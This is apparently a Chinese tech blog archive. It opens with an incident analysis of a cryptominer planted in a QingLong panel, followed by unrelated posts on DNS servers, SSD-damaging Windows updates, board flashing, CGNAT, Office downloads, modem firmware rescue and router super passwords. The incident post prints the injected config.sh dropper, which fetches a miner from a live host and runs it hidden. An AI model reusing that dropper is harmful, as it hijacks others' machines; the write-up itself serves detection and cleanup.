七

关于青龙面板被植入挖矿木马的分析

Tue, 10 Feb 2026 10:38:16 +0800

一次异常 CPU 占用的排查记录：青龙面板遭遇挖矿木马

一、异常的起因

事情发生在 2 月 7 日下午。当时我和老婆正在吃饭，突然注意到放在一旁的小主机（R5 5600G）风扇声音异常大，几乎是满速运转。

第一反应是有点不合理：

冬天室温不高，这台机器平时也不怎么满载，怎么会突然这么吵？

几分钟后，我在钉钉上收到了宝塔的告警通知：

服务器：宝塔 Linux 面板
IP 地址：192.168.9.22
发送时间：2026-02-07 19:02:54
通知类型：CPU 高占用告警
告警内容：最近 5 分钟内 CPU 平均占用率为 83.18%，高于告警值 80%

这基本确认了不是错觉，系统确实出现了异常负载。

二、定位异常进程

登录服务器后第一时间查看进程情况，很快发现了一个极其异常的进程：

1795937 root 20 0 2476464 2.3g 4 S 798.9 15.4 166:59.08 .fullgc

几个明显异常点：

进程名：.fullgc（隐藏文件名）
CPU 占用：接近 800%（多核跑满）
运行用户：root
常驻运行

基本可以判定：

这不是正常服务进程，极大概率是恶意程序。

进一步确认该文件位置：

/ql/data/db/.fullgc

在完成本地排查并确认 .fullgc 进程行为异常后，为了进一步验证其性质，我将 /ql/data/db/.fullgc 文件上传至 微步在线（ThreatBook） 进行分析。

https://s.threatbook.com/report/file/a939048e4374176a6259a19da544423cdc838e532a978fbb2508fefea8e5c88a

1️⃣ 文件基础信息

微步识别到该文件特征如下：

文件类型：
ELF 64-bit LSB executable（x86_64）
编译方式：
静态链接（statically linked）
文件大小：
2.93 MB
首次提交时间：
2026-02-07
分析环境：
Linux / Ubuntu 17.04 64bit

文件本身具备典型的 Linux 恶意程序特征：

静态编译 + 无符号信息 + 体积适中，便于跨发行版运行。

2️⃣ 威胁判定结果

微步给出的综合判定为：

威胁等级：可疑
木马家族：SusMiner
引擎命中率：1 / 28

虽然命中率不高，但这是矿工类木马的常见特征：

挖矿程序通常不会触发大量传统 AV 规则
更依赖 行为特征 而非特征码识别

3️⃣ 关键 IOC（威胁情报）

微步在分析过程中提取到了明确的恶意 IOC：

xmr.kryptex.network

类型：Domain
判定：恶意
行为含义：
👉 XMR（Monero）矿池通信域名

这与服务器上观测到的行为高度一致：

CPU 长时间满载
多线程运行
隐藏进程名
后台常驻

4️⃣ 行为分析要点

微步行为检测中识别出多个高风险动作：

使用 UPX 对程序进行压缩（规避检测）
运行特征符合 XMRig 矿工程序
存在网络通信行为
持续消耗系统资源

这与我在服务器上观察到的现象形成了完整闭环：

本地行为 + 脚本分析 + 第三方沙箱结果 = 挖矿木马实锤

三、确认存在持久化机制

我尝试直接重启服务器，结果发现：

系统刚启动
.fullgc 进程立刻重新出现

这说明它并不是临时启动的，而是被写入了某个启动 / 守护脚本。

结合路径 /ql/data/db/，第一时间怀疑的是 青龙面板（QingLong）相关组件被植入了恶意代码。

四、排查植入点：config.sh 被篡改

通过 grep 排查青龙相关脚本后，在 config.sh 中发现了被植入的恶意启动代码（节选）：

d="${QL_DIR:-/ql}/data/db"
b="$d/.fullgc"

case "$(uname -s)-$(uname -m)" in
  Linux-x86_64|Linux-amd64)
    u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64"
    ;;
  Linux-aarch64|Linux-arm64)
    u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64"
    ;;
  Darwin-x86_64)
    u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64"
    ;;
  Darwin-arm64)
    u="https://file.551911.xyz/fullgc/fullgc-macos-arm64"
    ;;
esac

[ -n "$u" ] && [ ! -f "$b" ] && {
  curl -fsSL -o "$b" "$u" || wget -qO "$b" "$u"
}
chmod +x "$b"

[ -f "$b" ] && ! ps -ef | grep -v grep | grep -qF ".fullgc" \
  && nohup "$b" >/dev/null 2>&1 &

这段代码的行为非常明确：

根据系统架构下载对应的 .fullgc 二进制
写入 /ql/data/db/
赋予执行权限
若未运行则后台 nohup 启动
实现持久化 + 自拉起

典型的挖矿木马行为。

五、影响范围判断

在进一步排查后发现一个明显规律：

开启公网 IPv4 访问的服务器：全部被植入
未暴露公网 IPv4 的服务器：完全正常

这几乎可以确认：

攻击入口来自公网暴露的服务
并非误操作或内部脚本问题

六、社区验证：并非个例

2 月 9 日（周一），我在青龙官方仓库中看到已有用户反馈类似问题：

🔗 https://github.com/whyour/qinglong/issues/2923

这进一步确认了这不是单一环境问题，而是已有攻击者在针对青龙面板进行扫描和利用。

七、处理与结果

采取的处理措施：

删除恶意文件
```
/ql/data/db/.fullgc
```
清理被植入的 config.sh
关闭公网 IPv4 的所有访问入口
暂时不对外暴露任何管理服务

处理完成后：

连续观察 2 天
CPU 占用恢复正常
未再发现 .fullgc 或异常进程
系统运行稳定

八、总结

这次事件的核心教训非常明确：

管理面板暴露公网 = 高风险
青龙本身不是问题，但公网暴露 + 弱防护一定会被扫
隐藏进程名 + 自启动 + 高 CPU，占用 = 典型挖矿木马特征

如果你的服务器上有类似现象，第一时间检查：

/ql/data/db/
config.sh
是否存在 .fullgc、.xmrig 等隐藏可执行文件

公共DNS服务器

Fri, 12 Dec 2025 10:54:34 +0800

全网公共 DNS 服务器汇总与实测选择建议（IPv4 / IPv6 / DoH / DoT）

本文基于 Google / Bing / 百度 / DuckDuckGo 等搜索引擎索引内容，结合运营商公开信息、技术社区（GitHub、Stack Overflow、V2EX 等）以及多年网络环境实践经验整理而成，长期更新。

DNS（Domain Name System）是互联网中最基础、却最容易被忽略的组件之一。
DNS 的选择，直接影响 访问速度、稳定性、隐私安全，甚至是否被劫持或重定向。

本文将对国内外主流公共 DNS 服务器进行系统整理，并给出清晰的使用建议。

一、为什么有必要更换 DNS？

在默认情况下，很多用户使用的是：

运营商下发的 DNS
路由器自动获取的 DNS

这些 DNS 往往存在以下问题：

❌ DNS 劫持、广告跳转
❌ 解析慢、节点少
❌ 不支持加密（DoH / DoT）
❌ 对 IPv6 支持不完善

因此，主动选择合适的公共 DNS，已经成为网络优化的基础操作之一。

二、DNS 协议类型说明（非常重要）

目前主流 DNS 解析方式包括：

1️⃣ 传统 DNS

端口：UDP / TCP 53
明文传输
易被监听或劫持

2️⃣ DoH（DNS over HTTPS）✅

端口：443
与 HTTPS 流量混合
隐私与穿透性最好

3️⃣ DoT（DNS over TLS）

端口：853
明确的 DNS 加密通道
稳定、规范

推荐优先级：DoH ＞ DoT ＞传统 DNS

三、国内主流公共 DNS（速度优先）

阿里云 DNS（AliDNS）

综合评价：⭐⭐⭐⭐⭐

国内覆盖广
稳定性高
DoH / DoT / IPv6 支持完善

IPv4

223.5.5.5
223.6.6.6

IPv6

2400:3200::1
2400:3200:baba::1

DoH

https://dns.alidns.com/dns-query

DoT

dns.alidns.com

👉 国内环境首选

DNSPod（腾讯 DNS）

特点：

企业级解析体系
国内访问表现优秀

IPv4

119.29.29.29
119.28.28.28

DoH

https://doh.pub/dns-query

DoT

dot.pub

114 DNS

特点：

老牌稳定
提供安全版 / 家庭版

IPv4

114.114.114.114
114.114.115.115

适合 老设备 / 电视 / 路由器

四、国际公共 DNS（隐私与安全）

Cloudflare DNS（1.1.1.1）

综合评价：⭐⭐⭐⭐⭐

全球 Anycast 节点
明确承诺不记录用户日志
隐私友好

IPv4

1.1.1.1
1.0.0.1

DoH

https://cloudflare-dns.com/dns-query

DoT

one.one.one.one

👉 隐私优先用户首选

Google DNS

特点：

稳定
全球通用
国内延迟不稳定

8.8.8.8
8.8.4.4

Quad9 DNS（安全型）

特点：

默认拦截恶意域名
适合公司或安全环境

9.9.9.9
149.112.112.112

五、过滤 / 家庭友好型 DNS

适合儿童环境、广告拦截或基础安全需求：

OpenDNS
Norton ConnectSafe
OneDNS
SafeDNS
GreenTeamDNS

⚠️ 可能存在误拦截，需按需选择。

六、港澳台与地区 DNS（访问就近优化）

香港

香港宽频
和记环球电讯
HKNet
PCCW

台湾

Quad101（101.101.101.101）
中华电信 DNS
Seednet

👉 访问港澳台站点延迟更低

七、教育网与高校 DNS（IPv6 友好）

清华大学：101.6.6.6
中科大
北邮
教育网 IPv6 DNS

适合 科研 / IPv6-only 网络

八、运营商 DNS 的现实问题

虽然各省电信 / 联通 / 移动均提供 DNS，但在长期使用中常见：

DNS 劫持
广告注入
HTTPS 证书异常
隐私不可控

👉 不建议作为长期主 DNS

九、推荐组合方案（实用）

🇨🇳 国内日常

主：223.5.5.5
备：119.29.29.29

🔒 隐私优先

Cloudflare DoH

🧑‍💻 技术用户

AliDNS DoH + Cloudflare DoT

👨‍👩‍👧 家庭环境

114 家庭版 / OpenDNS

十、结语

DNS 并不是“越快越好”，而是：

稳定 + 就近 + 安全 + 适合你的网络环境

建议你：

在路由器层统一配置
系统层启用 DoH / DoT
定期测试延迟和稳定性

如果你愿意，我还可以继续帮你写：

✅「DNS Bench / NameBench 实测对比」
✅「家庭路由器 DNS 最佳实践」
✅「DoH / DoT 原理深度解析」
✅「广告拦截 + DNS 方案」

这里我在四川我测试了成都的IPV6 dns

2025年8月win11和win10系统更新的某些补丁会直接导致炸硬盘

Thu, 21 Aug 2025 10:01:41 +0800

已更新情况，不仅会炸ssd，hdd也不能幸免

发现这个情况是，我周末开机发现家里电脑怎么硬盘特别的卡，点到直接死机那种，要等好久才能正常
甚至还卡丢盘，重启后恢复，于是在强大的互联网搜索。

我这个SSD盘已经炸掉了！！！！！

故障过程

如SSD使用率超过60%，并连续写入超过50GB数据(DRAM，带缓存式SSD)，或更少量的数据(HMB非缓存式SSD)，则会导致此SSD在系统中丢失，重启后可被识别或访问，但再次进行大容量连续写入时故障会复现
某些SSD会引发更严重的故障，分区会被识别为RAW，磁盘处于锁定状态，无法格式化，无法恢复数据，S.M.A.R.T信息无法读取，即使进入WinPE或更换Linux系统，也无法对磁盘分区进行操作，I/O错误，硬件损坏

目前明确涉及的系统版本和更新补丁号，请立即卸载这些补丁或直接回滚，然后暂停系统更新等修复

Windows 11:（23H2没躲过啊）
24H2：KB5063878（26100.4946）
23H2：KB5063875（22631.5768 & 22621.5768）

Windows 10:（Win10也没躲过啊）
22H2 & 21H2：KB5063709（19045.6216 & 19044.6216）
1809：KB5063877（17763.7678）
1607：KB5063871（14393.8330）
TH1：KB5063889（10240.21100）

涉及的品牌及主控
群联 Phison PS5012-E12
英韧 InnoGrit
联芸 Maxio
铠侠 Kioxia
闪迪 SanDisk
西数 West Digital
SK海力士 SK Hynix

未明确涉及的品牌及主控
希捷 Seagate
三星 SAMSUNG
思德 Solidigm
慧荣 SMI

RK3568 Linux驱动学习——SDK烧录

Sun, 17 Aug 2025 12:26:23 +0800

前言

Rockchip平台提供了多种镜像烧写方式，如在Windows下通过瑞芯微开发工具烧写、通过SD卡方式烧写、通过FactoryTool工具批量烧写(量产烧写工具、支持USB一拖多烧写)以及在Ubuntu下通过Linux_Upgrade_Tool工具烧写等等。总之，烧写镜像的方式有很多种，可以选择合适的烧写方式进行烧写，将镜像文件烧写至开发板。

烧写模式介绍

Rockehip平台硬件设备运行的几种模式如下表所示，只有当设备处于Maskrom以及Loader模式时(必须要通过USB线将开发板的OTG口连接到电脑)，才能够烧写镜像，或对板上镜像进行更新操作。

模式是否支持烧录描述

Maskrom 支持 Flash在未烧录镜像时，芯片会引导进入Maskrom模式，可以进行初次镜像的烧写；开发调试过程中若遇到无法正常进入Loader模式的情况，也可进入Maskrom模式烧写镜像。

Loader 支持 Loader模式下可以进行镜像烧写、更新升级，可以通过烧写工具单独烧写某一个分区镜像文件,方便调试。

Recovery 不支持通过引导recovery镜像进入recovery模式，recovery模式主要作用是升级、恢复出厂设置类操作。

Normal Boot 不支持系统正常启动进入该模式，通过引导rootfs启动，加载rootfs根文件系统，大多数开发都是在这个模式下进行。

进入Maskrom烧写模式的方法：(先连接电源适配器和OTG)

开发板未烧录过镜像，上电之后就会进入到Maskrom模式；

开发板烧录过镜像，按住开发板上的UPDATE按键，然后开发发板上电或复位，系统将会进入到Maskrom模式；

开发板烧录过镜像，按住开发板上的V-按键(音量-)按键，然后开发板上电或复位，系统将会进入到Maskrom模式；

开发板烧录过镜像，在U-Boot命令行下，执行"rbrom"命令进入到Maskrom模式。

进入Loader烧写模式的方法：(先连接电源适配器和OTG)

开发板烧录过镜像，按住V+按键(音量+)按键，然后开发板上电或复位，系统将会进入到Loader模式；

开发板烧录过镜像，在U-Boot命令行下，执行"download"命令进入到Loader模式；

开发板烧录过镜像，在Linux系统下，通过串口或ADB执行命令"reboot loader"重启进入到Loader模式；

开发板烧录过镜像，上电或复位后开发板正常启动进入到系统后，瑞芯微开发工具(也就是RKDevTool工具)会显示"发现一个ADB设备"，然后点击"切换"按钮,进入到Loade模式。

以上介绍了开发板如何进入到Maskrom或Loader烧写模式，只有进入Maskrom模式或Loader模式后才可进行烧录。

Windows系统下烧写

首先将之前已经编译好的SDK镜像文件(~/rk3568_linux_sdk/rocdev/镜像)从Ubuntu拷贝到Windows下，可以将这个目录命名为rk3568_images，包括了boot.img、MiniLoaderAll.bin、misc.img、oem.img、parameter.txt(分区表文件，不是镜像)、recovery.img、rootfs.img、uboot.img、userdata.img，如下所示：

连接好开发板后，打开瑞芯微开发工具，然后按住UPDATE并按下RST按键来进入MASKROM模式：

分区表parameter.txt

看一下RK平台分区表文件parameter.txt，该文件是一个txt文件。parameter.txt文件描述了开发板的分区表信息，每个分区的名字、分区的起始地址以及分区的大小等信息，来看下它的内容：

 FIRMWARE_VER: 1.0<br>
 MACHINE_MODEL: RK3568<br>
 MACHINE_ID: 007<br>
 MANUFACTURER: RK3568<br>
 MAGIC: 0x5041524B<br>
 ATAG: 0x00200800<br>
 MACHINE: 0xffffffff<br>
 CHECK_MASK: 0x80<br>
 PWR_HLD: 0,0,A,0,1<br>
 TYPE: GPT<br>
 CMDLINE: <br>mtdparts=rk29xxnand:0x00002000@0x00004000(uboot),0x00002000@0x00006000(misc),0x00020000@0x00008000(boot),0x00020000@0x00028000(recovery),0x00010000@0x00048000(backup),0x00c00000@0x00058000(rootfs),0x00040000@0x00c58000(oem),-@0x00c98000(userdata:grow)<br>
 uuid:rootfs=614e0000-0000-4b53-8000-1d28000054a9

parameter.txt文件中除了分区表信息之外，还包含其它标识，如FIRMWARE_VER、MACHINE_MODEL、MACHINE_ID、MAGIC 等，不做展开。主要来看一下mtdparts标识所定义的分区信息，如下：

rk29xxnand:0x00002000@0x00004000(uboot),0x00002000@0x00006000(misc),0x00020000@0x00008000(boot),0x00020000@0x00028000(recovery),0x00010000@0x00048000(backup),0x00c00000@0x00058000(rootfs),0x00040000@0x00c58000(oem),-@0x00c98000(userdata:grow)

rk29xxnand是一个标识，为了兼容性，rockchip平台都是用rk29xxnand做标识。

诸如0x00002000@0x00004000(uboot)、0x00002000@0x00006000(misc)等信息用于定义分区，@符号之前的数值是分区大小，@符号之后的数值是分区的起始位置，括号里面的字符是分区的名字；所有数值的单位都是sector(扇区)，1个sector为512字节。所以由此可知，uboot分区的起始位置为0x4000 sectors位置，大小为0x2000 sectors(4MB)；misc分区的起始位置为0x6000 sectors位置，大小也是0x2000 sectors。

为了性能，每个分区起始地址需要32KB(64 sectors)对齐，大小也需要32KB的整数倍。

最后一个分区需要指定grow参数，表示将剩余存储空间全部分配给该分区。

每个分区作用如下：

配置

通过上小节分析可知，parameter.txt文件中一共定义了8个分区，提供了每个分区的名字起始地址以及分区大小，接下来需要手动配置瑞芯微开发工具，配置完之后如下图所示：

这里需要注意几个点：

瑞芯微开发工具中地址数值的单位也是sectors(扇区,-一个扇区等于512字节)；
第一项对应的是MiniLoaderAll.bin镜像，它的烧录地址不用配置，直接使用0x0即可。因为MiniLoaderAll.bin镜像有专门的烧录地址，无需用户配置，而且它的名字一般都是Loader(或小写loader)，不要去改动它；
上图中第二项对应的是分区表parameter.txt，同样它的地址也不下用配置，直接使用0x0即可，因为parameter.txt文件不会烧录到Flash中，但会读取该文件定义的分区、去初始化Flash物理分区；同样，它的名字为parameter(或者大写Parameter)，不要去改动它，因为底层需要通过这个"parameter"名字来识别分区表文件。
除了MiniLoaderAllbin和parameter.txt稍微特殊一点之外，其它镜像直接根据parameter.txt分区表定义的起始地址进行配置即可，名字尽量使用parameter.txt文件中所定义的分区名。

将配置信息导出、保存到config.cfg文件中，方便下次导入该配置信息。

烧录

如下图所示：

执行过程中，右侧空白处会输出log信息，如下图：

也可以只烧录特定镜像，只勾选对应的这一项即可。

启动系统

烧录完成后会自动重启开发板，进入Linux buildroot系统，串口终端（波特率15M）会输出信息：

烧录update.img

我没有烧录这个的时候，就会在上图卡住。

进入开发工具：

选择了对应的update.img之后，点击“升级”就会进入烧录。

之后就能够正常开机了。

Ubuntu的方法就是命令行模式了本文暂时不写，有需要的话网上教程也很多。

路由器获取是大内网IP地址？有的人是获取到公网动态IP地址？又有人是静态公网IP地址？到底都是什么意思？

Tue, 08 Apr 2025 10:09:45 +0800

需求描述

兄弟们，最近有些小白兄弟会问这样一个问题？听别人说，自己路由器获取是大内网IP地址？有的人是获取到动态公网IP地址？又有人是静态公网IP地址？到底都是什么意思？那今天我们就来看一下，这些说法到底都是什么意思？

解决过程

那首先要了解一个上网概念，如果我们家里，或者公司，所有电脑手机要上网，是不能直接就去上网的，想要上网怎么办呢？是不是要去运营商办理宽带，那办理了宽带，办理了宽带后，运营商就上门给你们家或者公司拉了一根光纤线和一个光猫，就可以上网了。

为什么能上网呢？难道就是因为有光猫和光纤吗？其实最主要的功能是，你向运营商付费之后，运营商就会给你一个公网IP地址，这个公网IP地址，可以让你家里或公司的所有设备都可以去上互联网。其实你的向运营商付费，就是向运营商买了一个公网IP地址，但是运营商也没有和我说，他给我一个公网地址，只是问我要开通多少兆带宽，是300兆还是500兆，还是1000兆？

为什么说，我向运营商买了一个公网IP地址，运营商也没有给我公网IP地址，但是我还是可以上网呢？老是听有的人说，自己家里获取的是大内网IP地址，有的人是获取到公网IP地址，还有的人配置的静态公网IP地址？

一、首先我们来看一下，什么叫大内网Ip地址？

你登录到你们家的路由器，查看WAN口获取的Ip地址，如果PPPOE拨号，获取的是100/10开头的ip地址，那就说明你们家路由器获取的是大内网地址。

当我们看到，我们家里路由器使用PPPOE拨号，获取的是100/10开头的IP地址时，这就是路由器没有获取到公网IP地址，而获取到了一个大内网地址。

在早些年，我们家里的路由器上网时，都是通过私有IP地址192.168.x.x通过NAT转换为运营商分配的一个公网IP地址，如221.18.x.x。

但是随着公网IP地址耗尽，运营商在骨干网中部署NAT设备，将成千上万用户的公网IP进一步转换为更少的公网IP，让你家的路由器实际获取的是运营商内网IP（如 100.64.1.100，属于运营商保留的私有IP段）俗称：CGNAT。

获取到大内网的IP地址，使用大内网IP地址，有以下几个特点：

wan口PPPOE拨号获取IP地址是，100开头的或者10开头的内网地址。
需要双重NAT，数据包经过两次地址转换：家庭路由器NAT → 运营商CGNAT → 公网
我们判断你的网络是否是大内网，最直观的判断，就是看WAN通过PPPOE拨号，获取的是否是100/10开头的内网地址，而非公网IP地址。
虽然你的路由器获取的是大内网IP地址，但是你的所有设备在内网中，通过多层地址NAT转换，依然能和外界通信。就是要经过多次的NAT转发。数据包要多跑一段。

二、我们再来看一下，什么叫获取动态公网IP地址？

我们直接可以看到，当我们路由器的wan口，使用pppoe拨号的时候，获取的IP地址不是100或10开头的IP地址，而是112.193.x.x开头的，那基本上你路由器获取的就是公网Ip地址了。

那如何确定自己是否获取的是公网Ip地址呢？

我们可以直接在百度中搜索：ip，可以看到，当搜索出来的ip地址和你路由器wan口获取的公网Ip地址一样时，那就说明，你路由器获取的ip地址，的确是公网IP地址。

这时我们就获取的是动态公网Ip地址，那为什么叫动态公网Ip地址呢？

当我们获取的不是100或者10开头的大内网地址，我们在PPPOE拨号的时候，基本上就是可以从运营商那里分配到真实的公网Ipv4地址了。

当然了，我们也可以看一下，私网的Ip地址范围：

当我们获取到动态公网IP地址时，我们可以直接从外网访问你的设备，当然了，这需要我们配合端口映射才能实现。

动态公网IP地址，有个缺点，就是IP地址会定期变化，重启光猫/48小时强制重拨，需要绑定动态域名。

对于动态公网IP地址获取，在之前有些地区，如果获取的是大内网Ip地址，还是可以通过致电客服来申请成动态公网IP地址的，但是现在很多地方都已经无法申请到动态公网Ip地址，假如，我们有动态公网Ip地址，对于自己搭建的NAS、个人服务器都很好的在外网测试。

而且如果路由器拿到的是公网IP地址，就少了一层NAT转换，数据转发速度更快了，性能更高了。最主要的，可玩性高。

还有一点，虽说获取的是公网IP地址，但是使用的PPPOE拨号，带宽的上下行是不对等的。还是属于是共享带宽，同一区域内的多个用户共用一条网络线路，人使用多的时候，还可能网速会慢的。

三、什么是静态公网地址？

我们看一下，下面的路由器配置，可以看到联网方式，选择的是静态IP，而且ip地址都是自己手动配置上去的，那这种方式，就是静态公网地址。

静态公网IP地址，也就意味着，wan口的Ip地址是固定不变的。静态IP地址，基本上都是企业开通专线才会提供静态公网IP地址，因为企业专线价格贵，一般家庭也用不到专线。

我们公司的移动300M专线就是2400元/月。

独享带宽：专线是独享带宽，不受其他用户的影响。即使在同一区域内有大量用户同时使用网络，你的100兆带宽仍然是完全属于你的，不会被其他用户占用。
上下行对等：专线的上下行带宽是对等的，100兆的上行带宽可以满足企业大部分的上传需求，不会出现上行带宽不足的情况。

那最后，还有一个问题，到底1000兆速普通带宽度快？还是100兆专线速度快？

看完下面的对照表：兄弟们，你们说到底哪个快，哪个带宽好？

Office2024简体中文离线安装包下载地址合集，微软官方版本

Mon, 17 Feb 2025 15:25:08 +0800

截至目前，Office2024所有版本已经正式发布。

1.正式版官宣

官宣地址：

https://techcommunity.microsoft.com/t5/microsoft-365-blog/office-ltsc-2024-is-now-available/ba-p/4244953

微软在其官网上进行了正式官宣，Office 2024的零售版（Retail）和批量授权版（Volume）的全语言版本已经全部上线。

2.中文简体离线版（零售版）

以下为中文离线版镜像安装包，复制链接粘贴到浏览器地址栏即可下载。

Access2024：

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/Access2024Retail.img

Excel2024：

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/Excel2024Retail.img

Office家庭和学生版2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/Home2024Retail.img

OfficeHomeBusiness

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/HomeBusiness2024Retail.img

Outlook2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/Outlook2024Retail.img

PowerPoint2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/PowerPoint2024Retail.img

ProjectPro2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/ProjectPro2024Retail.img

ProjectStd2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/ProjectStd2024Retail.img

Office专业增强版2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/ProPlus2024Retail.img

VisioPro2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/VisioPro2024Retail.img

VisioStd2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/VisioStd2024Retail.img

Word2024

https://officecdn.microsoft.com/db/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/media/zh-cn/Word2024Retail.img

3.批量版安装包下载

在2016及之前的版本中，批量版指的是VOL版。而从2019开始，批量版指的是LTSC版（长期服务通道），这个版本微软提供5年的支持。并且从2024开始零售版的许可证也带有LTSC字样，说明Office 2024零售版，也是一次性购买即可获得5年的支持。

不过从从Office 2019开始，微软不再直接提供批量版安装包的下载镜像。

而是需要使用微软官方工具ODT在线下载、安装和部署。

详细步骤方法，可以参阅微软官方介绍，

https://learn.microsoft.com/zh-cn/office/ltsc/2024/deploy

结论随着我们迎来Microsoft Office 2024时代，很明显这家科技巨头继续将创新和用户为中心的设计置于优先位置。更新的界面、增强的协作工具、人工智能集成和跨平台兼容性使这个版本成为追求动态和高效办公套件的人士必备。无论您是经验丰富的专业人士还是开始项目的学生，它为数字生产力设定了新的标准。

通用型2.5G光猫鸿升光 HSGQ-Z110 刷错固件救援

Tue, 11 Feb 2025 17:42:20 +0800

如图设备，在刷估计过程中错刷某猫棒的固件，导致不能进界面，开机只有电源灯亮，百度搜索也没好的教程

于是开启了个人的折腾研究，凭借嵌入式测试工作的经验，遇到设备先拆机，拆开发现有串口

如图位置，分别为TX GND RX VCC 果断接上 CH341 串口波特率115200

发现竟然有反应还进入系统了，但是发现网卡没通，也没法 tftp 传文件进去，此路不通

那开机进u-boot 试试，在倒计时结束前任意键进入，如图，已经成功进入

执行help 发现有 run yk 和 yr 好东西啊，于是按照以往的经验进行串口传输文件烧写(串口传输巨慢，耐心等待完成即可)

1. 刷写内核 (uImage)

<BASH>run yk  # 触发YMODEM传输，选择发送uImage文件

执行命令后，终端会提示发送文件，选择本地的 uImage 文件。
等待传输完成，U-Boot会自动校验并写入 k0 分区（地址 0x80000）。

2. 刷写根文件系统 (rootfs)

<BASH>run yr  # 触发YMODEM传输，选择发送rootfs文件

同样选择本地的 rootfs 文件，传输完成后自动写入 r0 分区（地址 0x380000）。

更新版本信息（可选）

<BASH>setenv sw_version0 $(cat fwu_ver)  # 从fwu_ver读取版本号saveenv  # 保存环境变量

如果需更新固件版本号，手动设置环境变量：

切换启动分区（如需）
```
<BASH>setenv sw_active 1saveenv
```

默认从镜像0（k0/r0）启动，若需切换到镜像1（k1/r1）：

重启设备
```
<BASH>reset
```

三、关键命令说明

run yk

流程：通过YMODEM接收 uImage → 校验 → 擦除 k0 分区 → 写入内核。
对应分区：k0 (地址 0x80000，大小 3MB)。

run yr

流程：通过YMODEM接收 rootfs → 校验 → 擦除 r0 分区 → 写入根文件系统。
对应分区：r0 (地址 0x380000，大小 4.75MB)。

sw_active 变量

sw_active=0: 从镜像0（k0/r0）启动。
sw_active=1: 从镜像1（k1/r1）启动。

四、注意事项

文件大小限制

uImage 必须 ≤ 3MB，rootfs 必须 ≤ 4.75MB，否则写入会失败。
可通过 ls -l 检查文件大小是否符合。

传输中断处理

如果YMODEM传输中断，需重新执行 run yk 或 run yr。

版本兼容性

确保 uImage 和 rootfs 与硬件版本（hw_ver）匹配。

如上操作完，重启后所有灯都凉了，电脑网卡也提示插入了

电脑修改网卡属性

修改IPV4的地址为静态

浏览器输入192.168.1.1

激动的心，颤抖的手，活了

输入账号密码成功进入

腾讯云掏出671B核弹级模型白送：DeepSeek-V3/R1无限免费调用

Tue, 11 Feb 2025 10:57:01 +0800

官方的 deepseek 到目前为止都不是很稳定，经常出现 "服务器繁忙，请稍后再试。" 的情况。

今天看到腾讯云限时免费调用 deepseek 系列的模型，具体如下：

• DeepSeek-V3 为 671B 参数 MoE 模型
• DeepSeek-R1 为 671B 模型

也就是说在 2025年2月25日23时59分59秒，我们去调用腾讯云为我们提供的 deepseek 模型都免费。

本篇文章的内容大概就是手把手教大家在本地搭建一个客户端，能够使用腾讯云的 deepseek 模型。

具体的步骤

1. 准备一个腾讯云账号

需要使用腾讯云的服务，当然首先需要一个腾讯云的账号，这一步我们直接去腾讯云官网，然后使用微信扫码登录即可。

腾讯云官网地址：https://cloud.tencent.com/

注册之后进入到这个链接：https://console.cloud.tencent.com/lkeap

勾选“我已阅读并同意”，然后点击开通大模型知识引擎，中间的教程弹窗界面不用管，开通之后刷新这个界面即可。

2. 创建 OpenAI 格式的 key

点击“立即接入”，选择下面的使用 OpenAI SDK 方式介入，点击 “创建API KEY”。

到这里我们已经有了调用腾讯云的 deepseek 模型的资格，如果你会写代码，可以使用代码去调用，下面我介绍使用现成的客户端来调用 deepseek 模型。

3.下载本地客户端 (cherry studio)

这里我使用的是 cherry studio 这个本地客户端，官网的地址是这个: https://cherry-ai.com/

会自动识别自己电脑能够使用的版本，直接下载即可。

4. 配置客户端

1. 打开客户端，点击设置，然后点击添加，如下图所示：
创建一个供应商，名称随便图中我方便区分，把名字叫 腾讯云deepseek ，提供商一定要选择 OpenAI ，然后点确定。

. 最后在设置当中，把刚刚在腾讯云上创建的 API KEY 填到 API 密钥当中，API 地址填 https://api.lkeap.cloud.tencent.com/v1/chat/completions，再将 deepseek-r1 和 deepseek-v3 的模型添加到模型列表当中。

测试效果

然后我们回到对话页面，点击上方把模型切换成腾讯云的 deepseek 模型。

2024年移动光猫获取超级密码

Tue, 31 Dec 2024 15:38:32 +0800

温馨提示：本方法理论上适用于中国移动HG系列光猫

光猫破解因地区、运营商、路由器和光猫型号而异，不能保证100%成功！

遇到任何问题都可以在评论区留言，记得附上“地区+运营商+光猫型号”哦~

原作者：网页链接https://www.bilibili.com/read/cv21044770 出处：bilibili

免责声明

本文仅供学习交流使用

由于本文所导致的光猫任何损坏，以及造成的利益损失

作者概不承担任何责任

继续阅读本文即代表理解且同意免责声明

第一步获取MAC

第一种方法，直接在光猫上找到（简单粗暴）

看光猫的反面，你会看到这样一堆东西

没错，就是这样一堆东西

看到这串MAC号，把它记下来，比如说54-E0-05-2A-4F-20

并且把所有横杠删掉，就变成了54E0052A4F20

或者如果你找不到，那么请用第二种方法

1、打开cmd（Windows）或者 Terminal终端（macOS）

2、执行

arp -a

3、对话框会显示一堆东西，你只需要找到192.168.1.1所对应的那一串

比如说

一堆东西

这里面，你只需要看到第一行192.168.1.1，并且把54:e0:5:2a:4f:20记下来

4、这一步，别急着删冒号！

理论上每个冒号之间又会有2个字符，但是在这串MAC里面，你发现有两个冒号只有一个“5”

此时你需要默默地在这个5前面补一个0

